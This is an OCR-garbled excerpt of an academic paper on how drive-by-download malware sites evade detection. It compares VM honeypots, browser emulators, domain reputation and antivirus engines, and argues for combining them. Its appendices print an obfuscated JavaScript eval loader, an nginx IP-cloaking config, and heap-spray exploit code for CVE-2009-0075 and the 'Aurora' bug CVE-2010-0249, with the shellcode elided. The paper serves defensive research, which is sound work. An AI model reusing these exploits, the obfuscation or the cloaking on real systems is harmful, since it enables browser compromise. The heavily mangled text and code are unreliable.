from the unknown set of IP addresses to limit their visipiti the
adversary. A detector can then establish a feedback loopuaittt

a classifier that leverages the cloaking data to identifyepafat
launch drive-by downloads. Instead of generating signaket
on the presence of a VM, Browser Emulator, or AV signals, it is
possible to flag the page based on the inclusion of content &0
cloaking domain.
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Figure 15: The graph shows sites with Exploit and New Process
signals.

6. MULTIFACETED MALWARE DETECTORS

As the results in Section 5 have shown, adversaries areshctiv
changing exploitation techniques to evade detection. 8 béerts
are not limited to any specific detection technique. In tleistion
we consider the potential for a multi-faceted approach leaagr-
ages a combination of signals from different detectionesyst In
the following, we analyzd®ata Set Il and present pair-wise com-
parisons between each of the four detection systems in thedb
stacked bar graphs. We refer to a positive output from a tletec
system as aignal The black and white bands denote the num-
ber of times one signal appeared on a site but not the othex. Th
gray band denotes the number of times both signals appeéies a
same time. Data is aggregated monthly by site over our fear-y
measurement period.

Figure 15 demonstrates how Browser Emulation and VM hon-
eypots can be combined to increase detection rates. Wealireot
signal output from the Browser Emulator Bgploit In the case
of VM detection we use the creation of new processes on the VM
as a signal labeleNewProcessFor example, in December, 2008,
120, 000 sites had the NewProcess sigri#, 000 had the Exploit
signal, and38, 000 sites had both. Although both signals appear
together on a large fraction of sites, during some time pistithey
cover significantly different cases. In January 2009, Bewismu-
lation found43, 000 sites that did not trigger a NewProcess signal.
In June 2008, the NewProcess signal identifi@d000 sites that
were missed by emulation. Over the entire time period bafheds
agreed60.3% of the time. The Exploit signal triggered by itself
9.3% of the time whereas the New Process signal occurred by it-
self 30.4% of the time. This indicates that neither signal suffices
to provide good detection, but both can be used to complearent
another.

Figures 16 and 17 compare both Exploit and NewProcess sig-
nals to Anti-Virus signals labeledlirus. On average, AV signals
and Exploit signals intersect ot6.4% of the sites, although AV
signals appear ob4.4% of sites that do not have Exploit signals.
On average, AV signals and NewProcess signals occur tagathe
57.3% of the sites. However, AV signals appear3th4% of sites
where we did not get any NewProcess signals. AV enginesdrigg
independently on more sites in the data set. We investighaied
causes of the excess AV signals and noticed that many werdue
AV signatures that flag web pages with resources, e.g., IFR&M
pointing to web-sites that match certain regular expregsadterns,
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Figure 16: The graph shows sites with Exploit and Virus signés.

regardless of the content served by these sites. In othescA¥

engines were flagging binary downloads delivered by socigi-e
neering and thus did not trigger any exploit signals. Asuksed
in Section 5.3, AV engines are susceptible to false positimeop-

erational settings, and thus cannot be solely relied upflagana-

licious sites.

While each of the aforementioned detection technologiasea
combined to improve web malware detection, they all remagi s
ceptible to IP cloaking which prevents the classifiers framaisg
malicious content. To illustrate the impact of cloaking veenpare
the detection based on all the above signals combined veesus
tection based on domain reputation. The bars labBldSignain
Figure 18 show how often an Exploit, NewProcess, or Virugalg
occurs on a site in a given month. We compare this to sitesrihat
clude content from a site known to distribute malware lath&ep-
utation From 2007 through 2008&,.21% of sites had only a bad
reputation signal. In 2009, this number increased6&%, and
in 2010 it increased td8.5%. Note that the dramatic increase in
sites only detected by cloaking corresponds to the jumpoakihg
behavior in Figure 14. At the same time the number of sitek wit
only BadSignals remains low, which implies that our systelile
to boot strap classification of domains that cloak with ongnzall
amount of data.

7. CONCLUSION

Researchers have proposed numerous approaches for migtecti
the ever-increasing number of web sites spreading malwiare v
drive-by downloads. Adversaries have responded with a eamb
of techniques to bypass detection. This paper studies whetta-
sive practices are effective, and whether they are beingugar at
a large scale.

Our study focuses on the four most prevalent detections tech
niques: Virtual Machine honeypots, Browser Emulation hyene
pots, Classification based on Domain Reputation, and AimtisV
Engines. We measure the extent to which evasion affects @ach
these schemes by analyzing four years worth of data cotldnte
Google SafeBrowsing infrastructure. Our experimentsaimrate
our hypothesis that malware authors continue to pursueetgli
mechanisms that can confuse different malware detectistes)s.

We find that Social Engineering is growing and poses chadising
VM-based honeypots. JavaScript obfuscation that intetaeavily

with the DOM can be used to evade both Browser Emulators and
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Figure 17: The graph shows sites with New Process and Virus
signals.
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Figure 18: The graph shows sites with bad signals vs sites tha
include content from a site with bad reputation.

AV engines. In operational settings, AV Engines also sigfgnifi-
cantly from both false positives and false negatives. Binak see
arise in IP cloaking to thwart content-based detection mase

Despite evasive tactics, we show that adopting a multi-gedn
approach can improve detection rates. We hope that thesevabs
tions will be useful to the research community. Furthermtrese
findings highlight important design considerations for rapienal
systems. For example, data that is served to the generakpubl
might trade higher false negative rates for reduced falséipes.
On the other hand, a private institution might tolerate bigfalse
positive rates to improve protection. Furthermore, a sysieat
serves more users might become a target of circumventiothasd
need to devote extra effort to detect cloaking.
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found in the wild. It tests that the DOM implementation yieltie
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It also verifies that thei t | e variable is correctly exposed within
thedocunent object.

Threats (LEET,)April 2010. <script>
[19] Y.-M. Wang, D. Beck, X. Jiang, R. Roussev, C. Verbowski, f”\':;' f”:”.f.?_(m’de) {
S. Chen, and S. King. Automated web patrol with strider for(var i=0; i<node.childNodes.length: i++) {

swi t ch(node. chi | dNodes[i].nodeType) {



case 1: r+=nfc(node. childNodes[i]); break;

case 3: r+=node. chi |l dNodes[i].nodeVal ue;

return r;

}

var nf = nfc(node)[docunent.title]("qq");
</script>
<script>

wi ndowf "ccceval ccc”. substr(3,4)] ("var nf_wi ndow="+nf[4]);

var data = "qgql0qq118qq97[...]";

var data_array = data[docunent.title]("qq");

var jscript ="";

for (var i=1; i<data_array.length; i++)
jscript+=String[nf[2]](data_array[i]);

nf _wi ndow nf[3]] (jscript);

B. IP-BASED CLOAKING

nginx configuration file for disallowing requests from cartiP?

addresses.

user apache;
wor ker _processes  2;

http {

#1G

deny XXX. XXX. 160. 0/ 19;
deny XXX. XXX. 0.0/ 20;
deny XXX. XXX. 64. 0/ 19;

server {
i sten 8080;
location / {
pr oxy_pass http://xxxxx.com 4480;
proxy_redirect of f;

proxy_i gnore_client_abort on;

proxy_set _header X-Real-IP $renote_addr;
proxy_set _header Host $host ;
proxy_buffers 100 50k;
proxy_read_tineout 300;

proxy_send_ti neout 300;

C. EXPLOIT FOR CVE-2009-0075

var sc = unescape("..."); // shellcode

var mem = new Array();

var |'s = 0x100000 - (sc.length » 2 + 0x01020);
var b = unescape(" %0c0c%0c0c");

while (b.length <Is / 2) b += b;

var Ih = b.substring(0, Is / 2);
delete b;
for (i =0; i <O0xcO; i++) nmenf i ] =1h + sc;

Col | ect Gar bage() ;
var badsrc = unescape(
" %0b0b%0b0bAAAAAAAAAAAAAAAAAAAAAAAAA" ) ;
var ings = new Array();
for (var i = 0; i < 1000; i++)
i mys. push(docunent . creat eEl ement ("ing"));

obj 1 = docunent. creat eEl enent ("t body");
obj 1.click;

var obj2 = obj1.cloneNode();

obj 1.clearAttributes();

obj1 = null;

Col | ect Gar bage() ;

for (var i = 0; i < ings.length; i++)
imgs[i].src = badsrc;

obj 2. click;

Code to exploit the bug described by CVE-2009-0075.

D. THE“AURORA’ EXPLOIT

<ht ml ><head><scri pt >
var evt = null;
/| SKI PPED: GCenerate shellcode and the spray heap.
var a = new Array();
for (i =0; i < 200; i++) {
a[i] = docunent. createEl enent (" COWENT") ;
a[i].data = "abcd";

}

function evl(evt) {
evt = docunent. creat eEvent Obj ect (evt);
docunent . get El enent Byl d("handl e").innerHTM. = "";
wi ndow. set I nterval (ev2, 50);

function ev2() {
var data = unescape(
" %u0al0a%0ala%0ala%u0ala”
" %u0a0a%0ala%0ala%u0ala”) ;
for (i =0; i < a.length; i++)
a[i].data = data;
evt.srcEl enent;

}

</ scri pt ></ head><body>
<span id="handl e"><ing src="foo.gif" onload="evl(event)" />
</ span></ body></htm >

Code to exploit the bug described by CVE-2010-0249. Emulat-
ing this correctly requires a proper DOM implementation aveint
model.

E. DOM FUNCTIONS

This appendix provides the listing of functions and projsrt
that we labeled during JavaScript tracing. For propertiesdiffer-
entiate between read and write access, e.g. readingiher HTM.
property is different than writing to it.

0 addEvent Li st ener 17 hasAttribute

1 appendChi | d 18 hasChi | dNodes

2 attachEvent 19 inner HTM (read)

3 body (read) 20 i nner HTM. (write)

4 chi | dNodes (read) 21 insertBefore

5 clearAttributes 22 lastChild (read)

6 cr eat eComment 23 next Si bl ing (write)

7 creat eEl enent 24 out er HTM. (read)

8 cr eat eText Node 25 out er HTM (write)

9 det achEvent 26 par ent Node (read)

10 docunent El enent (read) 27 previousSi bling (read)
11 firstChild (read) 28 renoveAttribute

12 getAttribute 29 renoveChild

13 getEl enmentByld 30 renoveEventListener
14 getEl ementsByC assNane 31 setAttribute

15 get El enent sByNane 32 text (read)

16 get El enent sByTagNane 33 text (write)



